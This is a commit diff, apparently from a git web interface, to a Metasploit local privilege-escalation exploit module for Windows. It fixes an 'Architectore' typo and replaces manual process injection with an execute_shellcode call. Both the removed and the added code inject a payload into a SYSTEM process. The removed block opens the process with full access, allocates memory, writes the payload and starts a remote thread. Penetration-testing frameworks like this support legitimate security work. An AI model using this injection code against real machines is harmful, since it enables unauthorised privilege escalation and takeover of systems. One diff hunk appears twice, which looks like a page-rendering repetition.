Fix a typo and use the execute_shellcode function
parent
12904edf83
commit
5d9c6bea9d
|
@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
Rank = AverageRanking
|
||||
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
|
@ -125,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
print_error("Running against WOW64 is not supported")
|
||||
return
|
||||
elsif sysinfo["Architectore"] =~ /x64/
|
||||
elsif sysinfo["Architecture"] =~ /x64/
|
||||
print_error("Running against 64-bit systems is not supported")
|
||||
return
|
||||
end
|
||||
|
@ -191,18 +192,10 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
return
|
||||
end
|
||||
|
||||
begin
|
||||
proc = get_system_proc
|
||||
print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
|
||||
host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
|
||||
mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))
|
||||
|
||||
print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
|
||||
host_process.memory.write(mem, payload.encoded)
|
||||
host_process.thread.create(mem, 0)
|
||||
rescue ::Exception => e
|
||||
print_error("Failed to Inject Payload")
|
||||
print_error(e.to_s)
|
||||
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
|
||||
unless execute_shellcode(payload.encoded, nil, proc['pid'])
|
||||
fail_with(Failure::Unknown, "Error while executing the payload")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -126,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
print_error("Running against WOW64 is not supported")
|
||||
return
|
||||
elsif sysinfo["Architectore"] =~ /x64/
|
||||
elsif sysinfo["Architecture"] =~ /x64/
|
||||
print_error("Running against 64-bit systems is not supported")
|
||||
return
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue